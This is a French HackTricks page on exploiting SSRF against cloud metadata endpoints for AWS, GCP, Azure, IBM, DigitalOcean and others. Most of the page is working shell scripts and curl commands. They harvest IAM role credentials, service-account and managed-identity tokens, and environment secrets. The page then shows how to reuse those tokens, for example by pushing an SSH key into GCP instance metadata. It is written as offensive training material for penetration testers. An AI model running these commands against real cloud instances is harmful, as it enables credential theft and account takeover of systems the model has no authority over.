Cloud SSRF

Reading time: 21 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

AWS

Abuser de SSRF dans l'environnement AWS EC2

Le point de terminaison des mĂ©tadonnĂ©es peut ĂȘtre accessible depuis n'importe quelle machine EC2 et offre des informations intĂ©ressantes Ă  son sujet. Il est accessible Ă  l'url : http://169.254.169.254 (informations sur les mĂ©tadonnĂ©es ici).

Il existe 2 versions du point de terminaison des mĂ©tadonnĂ©es. La premiĂšre permet d'accĂ©der au point de terminaison via des requĂȘtes GET (donc tout SSRF peut l'exploiter). Pour la version 2, IMDSv2, vous devez demander un jeton en envoyant une requĂȘte PUT avec un en-tĂȘte HTTP et ensuite utiliser ce jeton pour accĂ©der aux mĂ©tadonnĂ©es avec un autre en-tĂȘte HTTP (donc c'est plus compliquĂ© Ă  abuser avec un SSRF).

caution

Notez que si l'instance EC2 applique IMDSv2, selon la documentation, la rĂ©ponse de la requĂȘte PUT aura une limite de saut de 1, rendant impossible l'accĂšs aux mĂ©tadonnĂ©es EC2 depuis un conteneur Ă  l'intĂ©rieur de l'instance EC2.

De plus, IMDSv2 bloquera Ă©galement les requĂȘtes pour obtenir un jeton qui incluent l'en-tĂȘte X-Forwarded-For. Cela vise Ă  empĂȘcher les proxies inverses mal configurĂ©s d'y accĂ©der.

Vous pouvez trouver des informations sur les points de terminaison des métadonnées dans la documentation. Dans le script suivant, certaines informations intéressantes sont obtenues à partir de celui-ci :

bash
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"

aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi

printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""

echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""

echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done

echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done

echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"

echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""

En tant qu'exemple de credentials IAM disponibles publiquement exposés, vous pouvez visiter : http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws

Vous pouvez également vérifier les credentials de sécurité EC2 publics à : http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

Vous pouvez ensuite prendre ces credentials et les utiliser avec l'AWS CLI. Cela vous permettra de faire tout ce que ce rĂŽle a la permission de faire.

Pour profiter des nouveaux credentials, vous devrez créer un nouveau profil AWS comme celui-ci :

[profilename]
aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=

Remarquez le aws_session_token, cela est indispensable pour que le profil fonctionne.

PACU peut ĂȘtre utilisĂ© avec les identifiants dĂ©couverts pour dĂ©couvrir vos privilĂšges et essayer d'escalader les privilĂšges.

SSRF dans les identifiants AWS ECS (Service de Conteneurs)

ECS est un groupe logique d'instances EC2 sur lequel vous pouvez exécuter une application sans avoir à gérer votre propre infrastructure de gestion de cluster, car ECS s'en occupe pour vous. Si vous parvenez à compromettre un service fonctionnant dans ECS, les points de terminaison de métadonnées changent.

Si vous accédez à http://169.254.170.2/v2/credentials/<GUID>, vous trouverez les identifiants de la machine ECS. Mais d'abord, vous devez trouver le <GUID>. Pour trouver le <GUID>, vous devez lire la variable environ AWS_CONTAINER_CREDENTIALS_RELATIVE_URI à l'intérieur de la machine.
Vous pourriez ĂȘtre en mesure de le lire en exploitant un Path Traversal vers file:///proc/self/environ
L'adresse http mentionnée devrait vous donner la AccessKey, SecretKey et token.

bash
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -

note

Notez que dans certains cas, vous pourrez accéder aux métadonnées de l'instance EC2 depuis le conteneur (vérifiez les limitations de TTL IMDSv2 mentionnées précédemment). Dans ces scénarios, depuis le conteneur, vous pourriez accéder à la fois au rÎle IAM du conteneur et au rÎle IAM EC2.

SSRF pour AWS Lambda

Dans ce cas, les identifiants sont stockés dans des variables d'environnement. Donc, pour y accéder, vous devez accéder à quelque chose comme file:///proc/self/environ.

Le nom des variables d'environnement intéressantes est :

  • AWS_SESSION_TOKEN
  • AWS_SECRET_ACCESS_KEY
  • AWS_ACCES_KEY_ID

De plus, en plus des identifiants IAM, les fonctions Lambda ont également des données d'événement qui sont transmises à la fonction lorsqu'elle est démarrée. Ces données sont mises à disposition de la fonction via l'interface d'exécution et pourraient contenir des informations sensibles (comme à l'intérieur des stageVariables). Contrairement aux identifiants IAM, ces données sont accessibles via SSRF standard à http://localhost:9001/2018-06-01/runtime/invocation/next.

warning

Notez que les identifiants lambda se trouvent dans les variables d'environnement. Donc, si la trace de la pile du code lambda imprime des variables d'environnement, il est possible de les exfiltrer en provoquant une erreur dans l'application.

SSRF URL pour AWS Elastic Beanstalk

Nous récupérons le accountId et la region depuis l'API.

http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

Nous récupérons ensuite le AccessKeyId, le SecretAccessKey et le Token depuis l'API.

http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

Ensuite, nous utilisons les identifiants avec aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/.

GCP

Vous pouvez trouver ici la documentation sur les points de terminaison de métadonnées.

URL SSRF pour Google Cloud

NĂ©cessite l'en-tĂȘte HTTP Metadata-Flavor: Google et vous pouvez accĂ©der au point de terminaison de mĂ©tadonnĂ©es avec les URL suivantes :

  • http://169.254.169.254
  • http://metadata.google.internal
  • http://metadata

Points de terminaison intéressants pour extraire des informations :

bash
# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true

# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize

# /instance
# Description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo "  IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo "  Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo "  Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo "  DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo "  Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo "  ==============  "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig

# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

Beta ne nĂ©cessite PAS d'en-tĂȘte pour le moment (merci Mathias Karlsson @avlidienbrunn)

http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true

caution

Afin de utiliser le jeton de compte de service exfiltré, vous pouvez simplement faire :

# Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
gcloud projects list

# Via setup
echo "<token>" > /some/path/to/token
gcloud config set auth/access_token_file /some/path/to/token
gcloud projects list
gcloud config unset auth/access_token_file

Ajouter une clé SSH

Extraire le jeton

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json

Vérifiez la portée du jeton (avec la sortie précédente ou en exécutant ce qui suit)

bash
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}

Maintenant, poussez la clé SSH.

bash
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'

Cloud Functions

Le point de terminaison des mĂ©tadonnĂ©es fonctionne de la mĂȘme maniĂšre que dans les VMs mais sans certains points de terminaison :

bash
# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id

# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done

Digital Ocean

warning

Il n'y a pas de choses comme les rÎles AWS ou les comptes de service GCP, donc ne vous attendez pas à trouver des informations d'identification de bot de métadonnées

Documentation disponible Ă  https://developers.digitalocean.com/documentation/metadata/

curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq

Azure

Azure VM

Docs ici.

  • Doit contenir l'en-tĂȘte Metadata: true
  • Ne doit pas contenir un en-tĂȘte X-Forwarded-For

tip

Une VM Azure peut avoir 1 identité gérée par le systÚme et plusieurs identités gérées par l'utilisateur. Ce qui signifie essentiellement que vous pouvez imiter toutes les identités gérées attachées à une VM.

Par défaut, le point de terminaison des métadonnées utilisera la MI assignée par le systÚme (le cas échéant).

Malheureusement, je n'ai pas pu trouver de point de terminaison des métadonnées indiquant toutes les MI qu'une VM a attachées.

Par conséquent, pour trouver toutes les MI attachées, vous pouvez faire :

  • Obtenir les identitĂ©s attachĂ©es avec az cli (si vous avez dĂ©jĂ  compromis un principal dans le locataire Azure)
az vm identity show \
  --resource-group <rsc-group> \
  --name <vm-name>
  • Obtenir les identitĂ©s attachĂ©es en utilisant la MI par dĂ©faut attachĂ©e dans les mĂ©tadonnĂ©es :
export API_VERSION="2021-12-13"

# Obtenir le token de la MI par défaut
export TOKEN=$(curl -s -H "Metadata:true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
  | jq -r '.access_token')

# Obtenir les détails nécessaires
export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \
  "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \
  "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
export VM_NAME=$(curl -s -H "Metadata:true" \
  "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')

# Essayer d'obtenir les MI attachées
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
  • Obtenir toutes les identitĂ©s gĂ©rĂ©es dĂ©finies dans le locataire et forcer pour voir si l'une d'elles est attachĂ©e Ă  la VM :
az identity list

caution

Dans les requĂȘtes de token, utilisez l'un des paramĂštres object_id, client_id ou msi_res_id pour indiquer l'identitĂ© gĂ©rĂ©e que vous souhaitez utiliser (docs). Si aucun, la MI par dĂ©faut sera utilisĂ©e.

bash
HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions

echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"

echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"

echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"

echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"

echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"

echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"

Azure App & Functions Services & Automation Accounts

Depuis l'env, vous pouvez obtenir les valeurs de IDENTITY_HEADER et IDENTITY_ENDPOINT. Que vous pouvez utiliser pour obtenir un jeton afin de communiquer avec le serveur de métadonnées.

La plupart du temps, vous voulez un jeton pour l'une de ces ressources :

caution

Dans les demandes de jeton, utilisez l'un des paramÚtres object_id, client_id ou msi_res_id pour indiquer l'identité gérée que vous souhaitez utiliser (docs). Si aucun, la MI par défaut sera utilisée.

bash
# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT

# (Fingerprint) You should also be able to find the folder:
ls /opt/microsoft

# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get vault token
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get storage token
curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"

IBM Cloud

warning

Notez qu'IBM n'active pas par dĂ©faut les mĂ©tadonnĂ©es, il est donc possible que vous ne puissiez pas y accĂ©der mĂȘme si vous ĂȘtes Ă  l'intĂ©rieur d'une VM IBM cloud.

bash
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`

# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq

# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq

# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq

# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq

# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq

Documentation pour les services de mĂ©tadonnĂ©es de diverses plateformes est dĂ©crite ci-dessous, mettant en Ă©vidence les mĂ©thodes par lesquelles les informations de configuration et d'exĂ©cution pour les instances peuvent ĂȘtre accessibles. Chaque plateforme offre des points de terminaison uniques pour accĂ©der Ă  ses services de mĂ©tadonnĂ©es.

Packetcloud

Pour accĂ©der aux mĂ©tadonnĂ©es de Packetcloud, la documentation peut ĂȘtre trouvĂ©e Ă  : https://metadata.packet.net/userdata

OpenStack/RackSpace

La nĂ©cessitĂ© d'un en-tĂȘte n'est pas mentionnĂ©e. Les mĂ©tadonnĂ©es peuvent ĂȘtre accessibles via :

  • http://169.254.169.254/openstack

HP Helion

La nĂ©cessitĂ© d'un en-tĂȘte n'est pas mentionnĂ©e ici non plus. Les mĂ©tadonnĂ©es sont accessibles Ă  :

  • http://169.254.169.254/2009-04-04/meta-data/

Oracle Cloud

Oracle Cloud fournit une série de points de terminaison pour accéder à divers aspects des métadonnées :

  • http://192.0.0.192/latest/
  • http://192.0.0.192/latest/user-data/
  • http://192.0.0.192/latest/meta-data/
  • http://192.0.0.192/latest/attributes/

Alibaba

Alibaba offre des points de terminaison pour accéder aux métadonnées, y compris les ID d'instance et d'image :

  • http://100.100.100.200/latest/meta-data/
  • http://100.100.100.200/latest/meta-data/instance-id
  • http://100.100.100.200/latest/meta-data/image-id

Kubernetes ETCD

Kubernetes ETCD peut contenir des clés API, des adresses IP internes et des ports. L'accÚs est démontré par :

  • curl -L http://127.0.0.1:2379/version
  • curl http://127.0.0.1:2379/v2/keys/?recursive=true

Docker

Les mĂ©tadonnĂ©es Docker peuvent ĂȘtre accessibles localement, avec des exemples donnĂ©s pour la rĂ©cupĂ©ration d'informations sur les conteneurs et les images :

  • Exemple simple pour accĂ©der aux mĂ©tadonnĂ©es des conteneurs et des images via le socket Docker :
  • docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
  • À l'intĂ©rieur du conteneur, utilisez curl avec le socket Docker :
  • curl --unix-socket /var/run/docker.sock http://foo/containers/json
  • curl --unix-socket /var/run/docker.sock http://foo/images/json

Rancher

Les mĂ©tadonnĂ©es de Rancher peuvent ĂȘtre accessibles en utilisant :

  • curl http://rancher-metadata/<version>/<path>

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks